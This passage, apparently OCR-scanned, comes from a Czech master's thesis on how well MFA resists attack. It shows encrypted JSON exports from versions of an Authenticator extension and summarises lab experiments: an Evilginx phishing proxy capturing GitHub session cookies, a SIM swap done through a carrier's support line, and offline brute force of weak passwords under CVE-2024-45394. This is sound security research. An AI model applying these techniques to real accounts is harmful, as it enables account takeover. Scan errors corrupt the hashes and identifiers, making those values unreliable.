"U2FsdGVkX19gXSmKsBBZMWVWc+VV0OY0X5g0vy0v4asCvm8rfl/RNwv329TcgAntwtN
z1yCFjiIHs094+J4CiE/wf5qfeEMpuVzbnoRLG5dX8d9RGFgfsMQZUZ fwydt /AMT6 £
jz1i/PRQZULIUoWQ]4mWOkVvHAFhZYZrAyptHzWZMZsN1SQK1KsR2XjVKB3mWrX",

"hash":
"Sargon2id$v=19$m=16384, t=1,p=1SFhZbLgf+v10sl1vvmRyXTOAS$StPicCpuQOWz
0S8TnRbgkVZU5rnayOz+K"

}

(zdroj: vlastni)
7.5 Verze 8.0.1

Tabulka 6 JSON verze 8.0.1

"cacdfB8de-4926-4dla-a645-719dc8be352b": {
"dataType": "EncOTPStorage",

"data":
"U2FsdGVkX19yRgbg9Jvo3uB8VpFAXIARxNZkx5HKYgWF4KDUwahZQl /WNnRNptwxQ
qvLSMx+6s0wLkNiTs1Hf1RwPzN2e7CRzyBn/StFSRIaD/CDaSOE5fCypEOBRKkPk6aP
dDcsD8V9d2bdwl0dzAo/JIJgVgCDItZCVu3dvc80iFFF6zHSMjOQ1IPBsOleKG2cpPu’
PwK8Nm+rFjeNDXuD3m/OEM5hnvyeknKMOgiR9coFrN3G77C37B1iSTVI9bgSaznAX+ui
ubCYCrMtL/J/FMn5PUCe5yhCf8QQsYsE/s/M=",

"keyId": "8eab2fab-511b-4f07-89f1-£f69£5295ccftb",

"index": O




bo
"8eab2fab-511b-4£f07-89f1-£69£5295ccfb": {
"dataType": "Key",

"hash":
"Sargon2id$v=19$m=19456, t=2,p=1$ZWRiINGJI1iNzNmZGMyZWY5MGQOMGNjODY yMT
cONzZiMzg$6Yy4QypdUMB2T/bEFv7JIYgPVhRUhtgPBvX613bCCebjI",

"id": "8eab52fa5-511b-4f07-89f1-f69£5295¢ccfb",
"salt": "662bbcf3c031635a22433663e9d9%9a540",
"version": 3

(zdroj: vlastni)

Ve verzi 8.0.1 jsou data wuloZzena pod klicem ,,cacdf8de-4926-4d1a-a645-
719dc8be352b* a Sifrovana AES-256-CBC, pfi¢emz master-key material je odvozen
Argon2id s novymi parametry m = 19 456 kB a t = 2. Objekt sekundarniho klice obsahuje
hash ve formatu Argon2id véetn¢ parametru paméti, iteraci a paralelizmu, a dale salt a

version formatu.

7.6 Shrnuti

Nejstar§i vyzkouSena verze 5.3.2 pouziva pro odvozeni Sifrovaciho klice funkci
EVP BytesToKey jednu iteraci MDS5, osmibajtovy salt a pro Sifrovani TOTP seedt
vyuzivaji rezim AES-256-CBC bez jakychkoliv zpomalovacich ¢i autentizacnich
mechanismu. Diky tomu lze v ptipad¢ slabého hlavniho hesla provést offline bruteforce titok
vrozumném ¢ase, coz bylo ovéfeno Python skriptem simulujici ziskani secretu

jednoduchym wordlistem.

Ve verzich 6 a 7 ptesla derivace kli¢e i inicializa¢niho vektoru na Argon2id KDF
s parametry m = 16384 kB, t = 1, p = 1, pficemz AES-256-CBC ziistal zachovan. Slabé
EVP_BytesToKey se v Ul-exportech jiz nevyskytovalo, a proto offline bruteforce utok proti
nim podle CVE-2024-45394 nelze reprodukovat.

S vydanim verze 8 byly parametry Argon2id upraveny nam = 19456 kB, t=2,p=1a
zavedla format verze 3. Pfi prvnim spusténi se stard data automaticky migruji a uzivatelé

jsou vyzvani k likvidaci zaloh starSich verzi nez 8.0.0.



ZAVER

Tato diplomova préace se zabyvala hodnocenim odolnosti modernich metod vicefaktorové
autentizace vuci pokroc¢ilym kybernetickym hrozbam, pfi¢emz hlavnim cilem bylo prokazat,
do jaké miry dokazou bézn¢ vyuzivané MFA mechanismy odolat utokiim typu man-in-the-

middle, SIM swappingu a offline bruteforce prolomeni seedu.

V teoretické Casti jsem nejprve piedstavil systematickou klasifikaci autentizanich
faktort do ¢ty zakladnich kategorii znalostni (to, co uzivatel zna), majetkové (to, co uzivatel
vlastni), biometrické (to, ¢im uzivatel je) a lokaliza¢ni (to, kde se uzivatel nachézi). Na tomto
zakladé byly definovany pojmy jednofaktorové, dvoufaktorové a vicefaktorové autentizace.

Dale byly podrobné popsany hlavni autentizaéni mechanismy

e Kklasicka hesla a jejich slabiny vii¢i titoktim typu brute force, credential stuffing,

phishing a socidlni inzenyrstvi

e jednorazova hesla (HOTP, TOTP, SMS/hlasova OTP) s rozborem jejich vyhod

a nevyhod

e biometrické technologie z hlediska pfesnosti a rizik spojenych s ochranou

soukromi

e hardwarové bezpecnostni klice (FIDO U2F/FIDO2) se zdiraznénim bound-to-

origin principu jako klice k odolnosti proti phishingu

Déle byla teoretické cast doplnéna pozadavky norem NIST SP 800-63, IETF a FIDO
Alliance a definici kli¢ovych prvkl bezpeéného navrhu systému s MFA, zejména
konfigurace relaci pomoci hlavicek Secure, HttpOnly a Content Security Policy a volby
robustniho KDF pro ochranu seedii. Teorii uzaviel popis Gtokti na MFA od man-in-the-
middle, SIM swapping az po zranitelnosti autentizacnich tokend spolu s navrzenymi

mitigacemi.
V praktické ¢asti byly realizovany tfi experimenty:

Prvni experiment simuloval tok typu adversary-in-the-middle v lokalnim prostiedi s
vyuzitim frameworku Evilginx. Po aktivaci pfislusSného phishletu (ulozeného v
~/.evilginx/phishlets/) byla v konzoli Evilginx nastavena cilovda doména a IP adresa
127.0.0.1 a ziskén self-signed root CA certifikat generovany Evilginx, ktery byl importovan
do ulozisté duvéryhodnych certifikath v prohlizeci. Po Uipravé souboru hosts se veskery

provoz na portech 443 a 53 sméroval na localhost, a Evilginx tak mohl zachytit zadané



uzivatelské jméno a heslo v sekci credentials i ptidélené session cookies v sekci auth _tokens.
To umoznilo Gplné obejiti SMS i TOTP druhého faktoru a nasledné ziskani plného ptistupu
k uctu GitHub. Session cookies zachycené na sluzbé Outlook a jejich opétovné vlozeni
selhalo kvili dodatecnym server-side kontroldm. U Facebooku a Instagramu i piesto, ze
doslo k uspésnému prihlaseni, nebyly zachyceny zadné autentizacni tokeny, coz svédci o

nasazeni ochrannych hlavicek a detekci proxy ptistupu.

Dale byl proveden experiment na SIM swap, kdy byly pofizeny dvé ptedplacené SIM
karty — jedna pro obdt’, druha pro ttoénika — a obé byly fadné aktivovany. Utoénik pak z
vlastniho telefonu volal na zdkaznickou linku operatora a oznamil, ze poskodil SIM kartu a
zada o vydani ndhradni karty se stejnym telefonnim ¢islem (¢islo obéti). Operator pozadoval
verifika¢ni udaje (PUK nebo ICCID), které mu vSak nebyly ptedany, a prvni pokus o ptevod
Cisla selhal. Druhy pokus probihal identicky se stejnym zavérem. Tento cyklus by mohl
pokracovat, dokud by nebyl osloven operator s nedostatecnym Skolenim, ktery by zpracoval
zadost bez ovéfeni. Pro demonstraci Gspéchu simulace byl pfi tfetim pokusu PUK
operatorovi poskytnut a &islo bylo pfevedeno na utoénikovu kartu béhem 30 minut. Utoénik
ziskal plivodni ¢islo obéti a SIM karta obéti hlésila, Ze nemé Zadnou sluzbu. Nakonec byly

navrhnuty detek¢ni pravidla.

Tteti experiment se vénoval zranitelnosti rozsifeni Authenticator popsané v CVE-2024-
45394. Ve verzi 5.3.2, kterd byla jedinou zranitelnou verzi, se Sifrovaci klic odvozoval
pomoci EVP BytesToKey (jedna iterace MDS5, osmibajtovy salt) a TOTP seedy byly
chranény pouze AES-256-CBC bez zpomalovacich mechanisml. Pokud uZzivatel pouzil
jednoduché hlavni heslo, mohl uto¢nik za pomoci zékladniho wordlistu simulujiciho brute-
force utok toto heslo velmi rychle odhalit a nasledné seed deSifrovat. Ve verzich 6.x a 7.x
doSlo k ndhradé EVP_BytesToKey za moderni Argon2id KDF (pamét’ 16 384 kB, ¢asova
cena 1, paralelismus 1). Ackoliv Sifrovani AES-256-CBC zlstalo zachovano, piechod na
Argon2id prakticky znemozZnil offline bruteforce Gitoky popsané v CVE-2024-45394. Verze
8.0.1 déle zptisnila parametry Argon2id na pamét’ 19 456 kB, ¢asovou cenu 2 a paralelismus
1 a zavedla automatickou migraci starych zaloh, ¢imz se odolnost seedi proti offline

prolomenti jesté vyrazné zvysila.
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